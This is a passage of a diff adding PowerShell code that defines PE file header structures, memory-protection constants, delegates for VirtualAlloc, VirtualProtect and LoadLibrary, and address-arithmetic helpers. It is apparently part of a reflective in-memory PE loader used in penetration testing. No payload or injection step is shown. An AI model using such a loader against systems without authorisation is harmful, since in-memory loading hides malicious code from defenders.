SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [Ref]) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + 